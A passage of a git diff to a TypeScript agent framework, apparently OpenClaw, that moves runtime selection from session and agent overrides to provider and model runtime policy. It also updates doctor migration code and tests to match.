b/src/auto-reply/reply/directive-handling.persist.ts @@ -3,6 +3,7 @@ import { resolveDefaultAgentId, resolveSessionAgentId, } from "../../agents/agent-scope.js"; +import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import type { ModelCatalogEntry } from "../../agents/model-catalog.js"; import { listLegacyRuntimeModelProviderAliases } from "../../agents/model-runtime-aliases.js"; import { normalizeProviderId, type ModelAliasIndex } from "../../agents/model-selection.js"; @@ -79,17 +80,6 @@ function resolveContextConfigProviderForRuntime(params: { return params.provider; } -function resolveDirectiveRuntimeId(params: { - agentCfg: NonNullable["defaults"] | undefined; - sessionEntry?: SessionEntry; -}): string | undefined { - return ( - params.sessionEntry?.agentRuntimeOverride ?? - params.sessionEntry?.agentHarnessId ?? - params.agentCfg?.agentRuntime?.id - ); -} - export async function persistInlineDirectives(params: { directives: InlineDirectives; effectiveModelDirective?: string; @@ -278,11 +268,22 @@ export async function persistInlineDirectives(params: { updated = true; } } else if (runtimeOverride?.kind === "set") { - if (sessionEntry.agentRuntimeOverride !== runtimeOverride.runtime) { - sessionEntry.agentRuntimeOverride = runtimeOverride.runtime; + if (sessionEntry.agentRuntimeOverride) { + delete sessionEntry.agentRuntimeOverride; updated = true; } + enqueueSystemEvent( + `Ignored session runtime ${runtimeOverride.runtime}; configure provider or model runtime policy instead.`, + { + sessionKey, + contextKey: `model-runtime:${modelResolution.modelSelection.provider}:${runtimeOverride.runtime}:ignored-session-runtime`, + }, + ); } else if (runtimeOverride?.kind === "invalid") { + if (sessionEntry.agentRuntimeOverride) { + delete sessionEntry.agentRuntimeOverride; + updated = true; + } enqueueSystemEvent( `Ignored unsupported runtime ${runtimeOverride.runtime} for ${modelResolution.modelSelection.provider}.`, { @@ -369,7 +370,13 @@ export async function persistInlineDirectives(params: { agentCfg, provider: resolveContextConfigProviderForRuntime({ provider, - runtimeId: resolveDirectiveRuntimeId({ agentCfg, sessionEntry }), + runtimeId: resolveAgentHarnessPolicy({ + provider, + modelId: model, + config: cfg, + agentId: activeAgentId, + sessionKey, + }).runtime, }), model, }), diff --git a/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts b/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts index 4e36f370733..46a99c397de 100644 --- a/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts +++ b/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts @@ -1,4 +1,5 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { clearAgentHarnesses } from "../../agents/harness/registry.js"; import type { PluginHookReplyDispatchResult } from "../../plugins/hooks.js"; import { createInternalHookEventPayload } from "../../test-utils/internal-hook-event-payload.js"; import { @@ -29,6 +30,7 @@ describe("dispatchReplyFromConfig reply_dispatch hook", () => { }); beforeEach(() => { + clearAgentHarnesses(); setDiscordTestRegistry(); resetInboundDedupe(); mocks.routeReply.mockReset().mockResolvedValue({ ok: true, messageId: "mock" }); diff --git a/src/auto-reply/reply/dispatch-from-config.ts b/src/auto-reply/reply/dispatch-from-config.ts index 868554ba8fe..f348181522b 100644 --- a/src/auto-reply/reply/dispatch-from-config.ts +++ b/src/auto-reply/reply/dispatch-from-config.ts @@ -318,9 +318,6 @@ const resolveHarnessSourceVisibleRepliesDefault = (params: { config: params.cfg, agentId: params.sessionAgentId, sessionKey: params.sessionKey, - agentHarnessId: - normalizeOptionalString(params.entry?.agentHarnessId) ?? - normalizeOptionalString(params.entry?.agentRuntimeOverride), }); return harness.deliveryDefaults?.sourceVisibleReplies; } catch (error) { diff --git a/src/auto-reply/reply/get-reply-run.ts b/src/auto-reply/reply/get-reply-run.ts index 19ccc2140f3..0077d2a404a 100644 --- a/src/auto-reply/reply/get-reply-run.ts +++ b/src/auto-reply/reply/get-reply-run.ts @@ -885,13 +885,11 @@ export async function runPreparedReply( agentId, sessionKey: runtimePolicySessionKey, }); - const resolveAcceptedAuthProfileProviders = (entry: SessionEntry | undefined) => + const resolveAcceptedAuthProfileProviders = () => agentHarnessPolicy ? listOpenAIAuthProfileProvidersForAgentRuntime({ provider, harnessRuntime: agentHarnessPolicy.runtime, - sessionAgentHarnessId: entry?.agentHarnessId, - sessionAgentRuntimeOverride: entry?.agentRuntimeOverride, }) : [provider]; let authProfileId = useFastReplyRuntime @@ -900,9 +898,7 @@ export async function runPreparedReply( resolveSessionAuthProfileOverride({ cfg, provider, - acceptedProviderIds: resolveAcceptedAuthProfileProviders( - preparedSessionState.sessionEntry, - ), + acceptedProviderIds: resolveAcceptedAuthProfileProviders(), agentDir, sessionEntry: preparedSessionState.sessionEntry, sessionStore, @@ -961,9 +957,7 @@ export async function runPreparedReply( : await resolveSessionAuthProfileOverride({ cfg, provider, - acceptedProviderIds: resolveAcceptedAuthProfileProviders( - preparedSessionState.sessionEntry, - ), + acceptedProviderIds: resolveAcceptedAuthProfileProviders(), agentDir, sessionEntry: preparedSessionState.sessionEntry, sessionStore, diff --git a/src/auto-reply/reply/model-selection.test.ts b/src/auto-reply/reply/model-selection.test.ts index 2b3bddb4296..ee6e9996ddd 100644 --- a/src/auto-reply/reply/model-selection.test.ts +++ b/src/auto-reply/reply/model-selection.test.ts @@ -232,7 +232,7 @@ describe("createModelSelectionState catalog loading", () => { expect(loadModelCatalog).toHaveBeenCalledOnce(); }); - it("preserves OpenAI API-key session auth when the session explicitly pins PI", async () => { + it("preserves OpenAI API-key session auth when model policy explicitly pins PI", async () => { authProfileStoreMock.store = { version: 1, profiles: { @@ -243,12 +243,21 @@ describe("createModelSelectionState catalog loading", () => { sessionId: "s1", updatedAt: 1, authProfileOverride: "openai:work", - agentRuntimeOverride: "pi", }; const sessionStore = { main: sessionEntry }; await createModelSelectionState({ - cfg: {} as OpenClawConfig, + cfg: { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "pi" }, + models: [], + }, + }, + }, + } as OpenClawConfig, agentCfg: undefined, defaultProvider: "openai", defaultModel: "gpt-5.5", diff --git a/src/auto-reply/reply/model-selection.ts b/src/auto-reply/reply/model-selection.ts index 592cd3ed53f..b44b43210f5 100644 --- a/src/auto-reply/reply/model-selection.ts +++ b/src/auto-reply/reply/model-selection.ts @@ -244,8 +244,6 @@ export async function createModelSelectionState(params: { const acceptedAuthProviders = listOpenAIAuthProfileProvidersForAgentRuntime({ provider, harnessRuntime: harnessPolicy.runtime, - sessionAgentHarnessId: sessionEntry.agentHarnessId, - sessionAgentRuntimeOverride: sessionEntry.agentRuntimeOverride, }).map(normalizeProviderId); if (!profile || !acceptedAuthProviders.includes(profileProvider ?? "")) { await clearSessionAuthProfileOverride({ diff --git a/src/commands/agent.test.ts b/src/commands/agent.test.ts index fbd4f5589c7..e190922e9a6 100644 --- a/src/commands/agent.test.ts +++ b/src/commands/agent.test.ts @@ -362,13 +362,19 @@ describe("agentCommand", () => { }); }); - it("does not enable Codex for one-shot OpenAI overrides when the agent forces PI", async () => { + it("does not enable Codex for one-shot OpenAI overrides when the provider forces PI", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - mockConfig(home, storePath, { - agentRuntime: { id: "pi" }, - models: undefined, - }); + const cfg = mockConfig(home, storePath, { models: undefined }); + cfg.models = { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "pi" }, + models: [], + }, + }, + }; await agentCommand( { diff --git a/src/commands/doctor-claude-cli.test.ts b/src/commands/doctor-claude-cli.test.ts index ed9ef82a195..22736b43a71 100644 --- a/src/commands/doctor-claude-cli.test.ts +++ b/src/commands/doctor-claude-cli.test.ts @@ -130,7 +130,6 @@ describe("noteClaudeCliHealth", () => { { agents: { defaults: { - agentRuntime: { id: "codex" }, model: { primary: "openai/gpt-5.5" }, }, list: [ @@ -138,13 +137,14 @@ describe("noteClaudeCliHealth", () => { id: "coder", default: true, workspace: defaultWorkspace, - agentRuntime: { id: "codex" }, }, { id: "xiaoao", workspace: claudeWorkspace, - agentRuntime: { id: "claude-cli" }, model: "anthropic/claude-opus-4-7", + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, }, ], }, diff --git a/src/commands/doctor-claude-cli.ts b/src/commands/doctor-claude-cli.ts index 1434fa07e25..7bbee3dadcd 100644 --- a/src/commands/doctor-claude-cli.ts +++ b/src/commands/doctor-claude-cli.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { listAgentIds, resolveAgentWorkspaceDir, @@ -174,10 +174,10 @@ function formatProjectDirHealthLine( return `- ${label}: ${display} is not writable by this user.`; } -function resolveClaudeCliAgentIds(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): string[] { +function resolveClaudeCliAgentIds(cfg: OpenClawConfig): string[] { const agentIds = listAgentIds(cfg); const runtimeAgentIds = agentIds.filter( - (agentId) => resolveAgentRuntimeMetadata(cfg, agentId, env).id === CLAUDE_CLI_PROVIDER, + (agentId) => resolveModelAgentRuntimeMetadata({ cfg, agentId }).id === CLAUDE_CLI_PROVIDER, ); if (runtimeAgentIds.length > 0) { return runtimeAgentIds; @@ -202,7 +202,7 @@ function resolveClaudeCliWorkspaceTargets(params: { homeDir?: string; workspaceDir?: string; }): ClaudeCliWorkspaceTarget[] { - const agentIds = resolveClaudeCliAgentIds(params.cfg, params.env); + const agentIds = resolveClaudeCliAgentIds(params.cfg); const defaultAgentId = resolveDefaultAgentId(params.cfg); const seen = new Set(); return agentIds diff --git a/src/commands/doctor-legacy-config.migrations.test.ts b/src/commands/doctor-legacy-config.migrations.test.ts index 9b3c1ff6268..09972a23e45 100644 --- a/src/commands/doctor-legacy-config.migrations.test.ts +++ b/src/commands/doctor-legacy-config.migrations.test.ts @@ -526,7 +526,7 @@ describe("normalizeCompatibilityConfigValues", () => { expect(res.changes).toEqual([]); }); - it("migrates legacy Codex primary refs to OpenAI refs plus explicit Codex runtime", () => { + it("migrates legacy Codex primary refs to OpenAI refs without agent runtime pins", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -554,9 +554,7 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "openai/gpt-5.5", fallbacks: ["anthropic/claude-sonnet-4-6", "openai/gpt-5.4-mini"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ - id: "codex", - }); + expect(res.config.agents?.defaults?.agentRuntime).toEqual({ id: "auto" }); expect(res.config.agents?.defaults?.models).toEqual({ "codex/gpt-5.5": { alias: "legacy-codex" }, "openai/gpt-5.5": { alias: "gpt", params: { temperature: 0.2 } }, @@ -565,7 +563,6 @@ describe("normalizeCompatibilityConfigValues", () => { }); expect(res.config.agents?.list?.[0]).toMatchObject({ id: "reviewer", - agentRuntime: { id: "codex" }, model: "openai/gpt-5.4-mini", }); expect(res.changes).toEqual( @@ -598,7 +595,7 @@ describe("normalizeCompatibilityConfigValues", () => { expect(res.changes).toEqual([]); }); - it("migrates legacy Claude CLI primary refs to Anthropic refs plus explicit runtime", () => { + it("migrates legacy Claude CLI primary refs to Anthropic refs plus model runtime", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -618,14 +615,20 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "anthropic/claude-opus-4-7", fallbacks: ["anthropic/claude-sonnet-4-6"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ id: "claude-cli" }); + expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ "claude-cli/claude-opus-4-7": { alias: "Opus" }, - "anthropic/claude-opus-4-7": { alias: "Anthropic Opus" }, + "anthropic/claude-opus-4-7": { + alias: "Anthropic Opus", + agentRuntime: { id: "claude-cli" }, + }, + "anthropic/claude-sonnet-4-6": { + agentRuntime: { id: "claude-cli" }, + }, }); }); - it("migrates legacy Codex CLI primary refs to OpenAI refs plus explicit runtime", () => { + it("migrates legacy Codex CLI primary refs to OpenAI refs plus model runtime", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -645,14 +648,20 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "openai/gpt-5.5", fallbacks: ["openai/gpt-5.4-mini"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ id: "codex-cli" }); + expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ "codex-cli/gpt-5.5": { alias: "Codex CLI" }, - "openai/gpt-5.5": { alias: "OpenAI GPT" }, + "openai/gpt-5.5": { + alias: "OpenAI GPT", + agentRuntime: { id: "codex-cli" }, + }, + "openai/gpt-5.4-mini": { + agentRuntime: { id: "codex-cli" }, + }, }); }); - it("migrates legacy Gemini CLI primary refs to Google refs plus explicit runtime", () => { + it("migrates legacy Gemini CLI primary refs to Google refs plus model runtime", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -672,12 +681,16 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "google/gemini-3.1-pro-preview", fallbacks: ["google/gemini-3-flash-preview"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ - id: "google-gemini-cli", - }); + expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ "google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini CLI" }, - "google/gemini-3.1-pro-preview": { alias: "Gemini API" }, + "google/gemini-3.1-pro-preview": { + alias: "Gemini API", + agentRuntime: { id: "google-gemini-cli" }, + }, + "google/gemini-3-flash-preview": { + agentRuntime: { id: "google-gemini-cli" }, + }, }); }); diff --git a/src/commands/doctor-session-state-providers.test.ts b/src/commands/doctor-session-state-providers.test.ts index ef9edb661f8..f08b3113d52 100644 --- a/src/commands/doctor-session-state-providers.test.ts +++ b/src/commands/doctor-session-state-providers.test.ts @@ -45,14 +45,22 @@ describe("doctor session state provider routes", () => { ).toBe(true); }); - it("preserves raw configured CLI runtimes before harness policy normalization", () => { + it("preserves configured provider CLI runtimes before harness policy normalization", () => { expect( resolveConfiguredDoctorSessionStateRoute({ cfg: { agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "codex-cli" }, + }, + }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex-cli" }, + models: [], + }, }, }, }, @@ -66,7 +74,7 @@ describe("doctor session state provider routes", () => { }); }); - it("lets environment CLI runtime overrides reach plugin-owned scanners", () => { + it("ignores legacy environment runtime overrides before plugin-owned scans", () => { expect( resolveConfiguredDoctorSessionStateRoute({ cfg: { @@ -81,7 +89,7 @@ describe("doctor session state provider routes", () => { env: { OPENCLAW_AGENT_RUNTIME: "codex-cli" }, }), ).toMatchObject({ - runtime: "codex-cli", + runtime: "codex", }); }); diff --git a/src/commands/doctor-session-state-providers.ts b/src/commands/doctor-session-state-providers.ts index d180e2f5e5a..99fd02aa3db 100644 --- a/src/commands/doctor-session-state-providers.ts +++ b/src/commands/doctor-session-state-providers.ts @@ -1,6 +1,4 @@ -import { resolveAgentRuntimePolicy } from "../agents/agent-runtime-policy.js"; import { - listAgentEntries, resolveAgentModelFallbacksOverride, resolveDefaultAgentId, } from "../agents/agent-scope.js"; @@ -17,7 +15,6 @@ import { updateSessionStore } from "../config/sessions/store.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { listPluginDoctorSessionRouteStateOwners } from "../plugins/doctor-contract-registry.js"; import type { DoctorSessionRouteStateOwner } from "../plugins/doctor-session-route-state-owner-types.js"; -import { normalizeAgentId } from "../routing/session-key.js"; import { parseAgentSessionKey } from "../sessions/session-key-utils.js"; import { note } from "../terminal/note.js"; @@ -63,27 +60,6 @@ function resolveSessionAgentId(cfg: OpenClawConfig, sessionKey: string): string return parseAgentSessionKey(sessionKey)?.agentId ?? resolveDefaultAgentId(cfg); } -function resolveRawConfiguredRuntime(params: { - cfg: OpenClawConfig; - agentId: string; - env?: NodeJS.ProcessEnv; -}): string | undefined { - const envRuntime = params.env?.OPENCLAW_AGENT_RUNTIME?.trim(); - if (envRuntime) { - return normalizeProviderId(envRuntime); - } - const agentRuntime = resolveAgentRuntimePolicy( - listAgentEntries(params.cfg).find( - (entry) => normalizeAgentId(entry.id) === normalizeAgentId(params.agentId), - ), - )?.id?.trim(); - if (agentRuntime) { - return normalizeProviderId(agentRuntime); - } - const defaultsRuntime = resolveAgentRuntimePolicy(params.cfg.agents?.defaults)?.id?.trim(); - return defaultsRuntime ? normalizeProviderId(defaultsRuntime) : undefined; -} - export function resolveConfiguredDoctorSessionStateRoute(params: { cfg: OpenClawConfig; sessionKey: string; @@ -108,15 +84,16 @@ export function resolveConfiguredDoctorSessionStateRoute(params: { } } const runtime = resolveAgentHarnessPolicy({ + provider: primary.provider, + modelId: primary.model, config: params.cfg, agentId, sessionKey: params.sessionKey, - env: params.env, }).runtime; return { defaultProvider: primary.provider, configuredModelRefs: [...configuredModelRefs], - runtime: resolveRawConfiguredRuntime({ cfg: params.cfg, agentId, env: params.env }) ?? runtime, + runtime, }; } diff --git a/src/commands/doctor/repair-sequencing.test.ts b/src/commands/doctor/repair-sequencing.test.ts index d8c19bae140..74212fe0afc 100644 --- a/src/commands/doctor/repair-sequencing.test.ts +++ b/src/commands/doctor/repair-sequencing.test.ts @@ -397,11 +397,11 @@ describe("doctor repair sequencing", () => { ); }); - it("moves legacy Codex routes to Codex before missing plugin install repair", async () => { + it("moves legacy Codex routes to canonical OpenAI before missing plugin install repair", async () => { mocks.repairMissingConfiguredPluginInstalls.mockImplementationOnce( async (params: { cfg: OpenClawConfig }) => { expect(params.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(params.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(params.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); return { changes: [], warnings: [], @@ -434,9 +434,9 @@ describe("doctor repair sequencing", () => { expect(result.state.pendingChanges).toBe(true); expect(result.state.candidate.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.state.candidate.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.state.candidate.agents?.defaults?.agentRuntime).toBeUndefined(); expect(result.changeNotes.join("\n")).toContain( - 'agents.defaults.model: openai-codex/gpt-5.5 -> openai/gpt-5.5; set agentRuntime.id to "codex".', + "agents.defaults.model: openai-codex/gpt-5.5 -> openai/gpt-5.5.", ); expect(result.changeNotes.join("\n")).not.toContain("Installed missing configured plugin"); }); diff --git a/src/commands/doctor/shared/codex-native-assets.ts b/src/commands/doctor/shared/codex-native-assets.ts index ca3f80b841c..298203a5cae 100644 --- a/src/commands/doctor/shared/codex-native-assets.ts +++ b/src/commands/doctor/shared/codex-native-assets.ts @@ -2,6 +2,7 @@ import type { Dirent } from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; +import { collectConfiguredAgentHarnessRuntimes } from "../../../agents/harness-runtimes.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; export type CodexNativeAssetHit = { @@ -113,16 +114,7 @@ async function discoverPluginHits(root: string): Promise } function isCodexRuntimeConfigured(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): boolean { - if (normalizeString(env.OPENCLAW_AGENT_RUNTIME) === "codex") { - return true; - } - const defaults = cfg.agents?.defaults; - if (normalizeString(defaults?.agentRuntime?.id) === "codex") { - return true; - } - return (cfg.agents?.list ?? []).some( - (agent) => normalizeString(agent.agentRuntime?.id) === "codex", - ); + return collectConfiguredAgentHarnessRuntimes(cfg, env).includes("codex"); } function isCodexPluginConfigured(cfg: OpenClawConfig): boolean { diff --git a/src/commands/doctor/shared/codex-route-warnings.test.ts b/src/commands/doctor/shared/codex-route-warnings.test.ts index 9c28420ea6b..72b29472ae4 100644 --- a/src/commands/doctor/shared/codex-route-warnings.test.ts +++ b/src/commands/doctor/shared/codex-route-warnings.test.ts @@ -67,8 +67,7 @@ describe("collectCodexRouteWarnings", () => { expect(warnings).toEqual([expect.stringContaining("Legacy `openai-codex/*`")]); expect(warnings[0]).toContain("agents.defaults.model"); expect(warnings[0]).toContain("openai/gpt-5.5"); - expect(warnings[0]).toContain('runtime is "codex"'); - expect(warnings[0]).toContain('agentRuntime.id: "codex"'); + expect(warnings[0]).not.toContain("agentRuntime.id"); }); it("still warns when the native Codex runtime is selected with a legacy model ref", () => { @@ -120,7 +119,7 @@ describe("collectCodexRouteWarnings", () => { expect(warnings).toEqual([]); }); - it("repairs configured Codex model refs to canonical OpenAI refs with the Codex runtime when ready", () => { + it("repairs configured Codex model refs to canonical OpenAI refs without pinning runtime", () => { const result = maybeRepairCodexRoutes({ cfg: { agents: { @@ -204,7 +203,7 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.defaults?.compaction?.model).toBe("openai/gpt-5.4"); expect(result.cfg.agents?.defaults?.compaction?.memoryFlush?.model).toBe("openai/gpt-5.4-mini"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); expect(result.cfg.agents?.defaults?.models).toEqual({ "openai/gpt-5.5": { alias: "codex" }, }); @@ -223,7 +222,7 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.messages?.tts?.summaryModel).toBe("openai/gpt-5.4-mini"); }); - it("repairs legacy routes to Codex even when OAuth readiness cannot be proven", () => { + it("repairs legacy routes without requiring OAuth readiness", () => { const result = maybeRepairCodexRoutes({ cfg: { agents: { @@ -236,11 +235,11 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); - expect(result.changes.join("\n")).toContain('set agentRuntime.id to "codex"'); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); + expect(result.changes.join("\n")).not.toContain("agentRuntime.id"); }); - it("repairs persisted session route pins to Codex and preserves Codex auth pins", () => { + it("repairs persisted session route refs, clears runtime pins, and preserves auth pins", () => { const store: Record = { main: { sessionId: "s1", @@ -268,7 +267,6 @@ describe("collectCodexRouteWarnings", () => { const result = repairCodexSessionStoreRoutes({ store, - runtime: "codex", now: 123, }); @@ -280,12 +278,12 @@ describe("collectCodexRouteWarnings", () => { providerOverride: "openai", modelOverride: "gpt-5.4", modelOverrideSource: "auto", - agentHarnessId: "codex", - agentRuntimeOverride: "codex", authProfileOverride: "openai-codex:default", authProfileOverrideSource: "auto", authProfileOverrideCompactionCount: 2, }); + expect(store.main.agentHarnessId).toBeUndefined(); + expect(store.main.agentRuntimeOverride).toBeUndefined(); expect(store.main.fallbackNoticeSelectedModel).toBeUndefined(); expect(store.main.fallbackNoticeActiveModel).toBeUndefined(); expect(store.main.fallbackNoticeReason).toBeUndefined(); @@ -295,14 +293,13 @@ describe("collectCodexRouteWarnings", () => { }); }); - it("keeps Codex session auth pins when the Codex runtime is ready", () => { + it("keeps Codex session auth pins while leaving runtime unpinned", () => { const store: Record = { main: { sessionId: "s1", updatedAt: 1, providerOverride: "openai-codex", modelOverride: "gpt-5.5", - agentHarnessId: "codex", authProfileOverride: "openai-codex:default", authProfileOverrideSource: "auto", }, @@ -310,7 +307,6 @@ describe("collectCodexRouteWarnings", () => { const result = repairCodexSessionStoreRoutes({ store, - runtime: "codex", now: 123, }); @@ -319,11 +315,11 @@ describe("collectCodexRouteWarnings", () => { updatedAt: 123, providerOverride: "openai", modelOverride: "gpt-5.5", - agentHarnessId: "codex", - agentRuntimeOverride: "codex", authProfileOverride: "openai-codex:default", authProfileOverrideSource: "auto", }); + expect(store.main.agentHarnessId).toBeUndefined(); + expect(store.main.agentRuntimeOverride).toBeUndefined(); }); it("preserves canonical OpenAI sessions that are explicitly pinned to PI", () => { @@ -343,7 +339,6 @@ describe("collectCodexRouteWarnings", () => { const result = repairCodexSessionStoreRoutes({ store, - runtime: "codex", now: 123, }); @@ -356,7 +351,7 @@ describe("collectCodexRouteWarnings", () => { }); }); - it("repairs legacy routes to Codex without probing OAuth readiness", () => { + it("repairs legacy routes without probing OAuth readiness", () => { const store = { profiles: { "openai-codex:default": { @@ -406,10 +401,10 @@ describe("collectCodexRouteWarnings", () => { expect(mocks.isInstalledPluginEnabled).not.toHaveBeenCalled(); expect(mocks.resolveAuthProfileOrder).not.toHaveBeenCalled(); expect(result.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); }); - it("still repairs to Codex when installed plugin metadata is unavailable", () => { + it("still repairs routes when installed plugin metadata is unavailable", () => { const store = { profiles: { "openai-codex:default": { @@ -449,6 +444,6 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); }); }); diff --git a/src/commands/doctor/shared/codex-route-warnings.ts b/src/commands/doctor/shared/codex-route-warnings.ts index de1d3a60dab..817085ec636 100644 --- a/src/commands/doctor/shared/codex-route-warnings.ts +++ b/src/commands/doctor/shared/codex-route-warnings.ts @@ -11,10 +11,8 @@ type CodexRouteHit = { model: string; canonicalModel: string; runtime?: string; - setsRuntime?: boolean; }; -type CodexRepairRuntime = "codex" | "pi"; type MutableRecord = Record; type SessionRouteRepairResult = { changed: boolean; @@ -62,12 +60,11 @@ function resolveRuntime(params: { env?: NodeJS.ProcessEnv; agentRuntime?: AgentRuntimePolicyConfig; defaultsRuntime?: AgentRuntimePolicyConfig; -}): string { +}): string | undefined { return ( normalizeString(params.env?.OPENCLAW_AGENT_RUNTIME) ?? normalizeString(params.agentRuntime?.id) ?? - normalizeString(params.defaultsRuntime?.id) ?? - "codex" + normalizeString(params.defaultsRuntime?.id) ); } @@ -76,7 +73,6 @@ function recordCodexModelHit(params: { path: string; model: string; runtime?: string; - setsRuntime?: boolean; }): string | undefined { const canonicalModel = toCanonicalOpenAIModelRef(params.model); if (!canonicalModel) { @@ -87,7 +83,6 @@ function recordCodexModelHit(params: { model: params.model, canonicalModel, ...(params.runtime ? { runtime: params.runtime } : {}), - ...(params.setsRuntime ? { setsRuntime: true } : {}), }); return canonicalModel; } @@ -97,7 +92,6 @@ function collectStringModelSlot(params: { path: string; value: unknown; runtime?: string; - setsRuntime?: boolean; }): boolean { if (typeof params.value !== "string") { return false; @@ -111,7 +105,6 @@ function collectStringModelSlot(params: { path: params.path, model, runtime: params.runtime, - setsRuntime: params.setsRuntime, }); } @@ -120,7 +113,6 @@ function collectModelConfigSlot(params: { path: string; value: unknown; runtime?: string; - setsRuntimeOnPrimary?: boolean; }): boolean { if (typeof params.value === "string") { return collectStringModelSlot({ @@ -128,7 +120,6 @@ function collectModelConfigSlot(params: { path: params.path, value: params.value, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); } const record = asMutableRecord(params.value); @@ -142,7 +133,6 @@ function collectModelConfigSlot(params: { path: `${params.path}.primary`, value: record.primary, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); } if (Array.isArray(record.fallbacks)) { @@ -195,7 +185,6 @@ function collectAgentModelRefs(params: { path: `${params.path}.${key}`, value: agent[key], runtime: key === "model" ? params.runtime : undefined, - setsRuntimeOnPrimary: key === "model", }); } collectStringModelSlot({ @@ -307,7 +296,6 @@ function rewriteStringModelSlot(params: { key: string; path: string; runtime?: string; - setsRuntime?: boolean; }): boolean { if (!params.container) { return false; @@ -322,7 +310,6 @@ function rewriteStringModelSlot(params: { path: params.path, model, runtime: params.runtime, - setsRuntime: params.setsRuntime, }); if (!canonicalModel) { return false; @@ -337,7 +324,6 @@ function rewriteModelConfigSlot(params: { key: string; path: string; runtime?: string; - setsRuntimeOnPrimary?: boolean; }): boolean { if (!params.container) { return false; @@ -350,7 +336,6 @@ function rewriteModelConfigSlot(params: { key: params.key, path: params.path, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); } const record = asMutableRecord(value); @@ -363,7 +348,6 @@ function rewriteModelConfigSlot(params: { key: "primary", path: `${params.path}.primary`, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); if (Array.isArray(record.fallbacks)) { record.fallbacks = record.fallbacks.map((entry, index) => { @@ -409,27 +393,20 @@ function rewriteAgentModelRefs(params: { hits: CodexRouteHit[]; agent: MutableRecord | undefined; path: string; - runtime: CodexRepairRuntime; - currentRuntime: string; + currentRuntime?: string; rewriteModelsMap?: boolean; }): void { if (!params.agent) { return; } for (const key of AGENT_MODEL_CONFIG_KEYS) { - const rewrotePrimary = rewriteModelConfigSlot({ + rewriteModelConfigSlot({ hits: params.hits, container: params.agent, key, path: `${params.path}.${key}`, runtime: key === "model" ? params.currentRuntime : undefined, - setsRuntimeOnPrimary: key === "model", }); - if (key === "model" && rewrotePrimary) { - const agentRuntime = asMutableRecord(params.agent.agentRuntime) ?? {}; - agentRuntime.id = params.runtime; - params.agent.agentRuntime = agentRuntime; - } } rewriteStringModelSlot({ hits: params.hits, @@ -465,11 +442,10 @@ function rewriteAgentModelRefs(params: { } } -function rewriteConfigModelRefs(params: { +function rewriteConfigModelRefs(params: { cfg: OpenClawConfig; env?: NodeJS.ProcessEnv }): { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; - runtime: CodexRepairRuntime; -}): { cfg: OpenClawConfig; changes: CodexRouteHit[] } { + changes: CodexRouteHit[]; 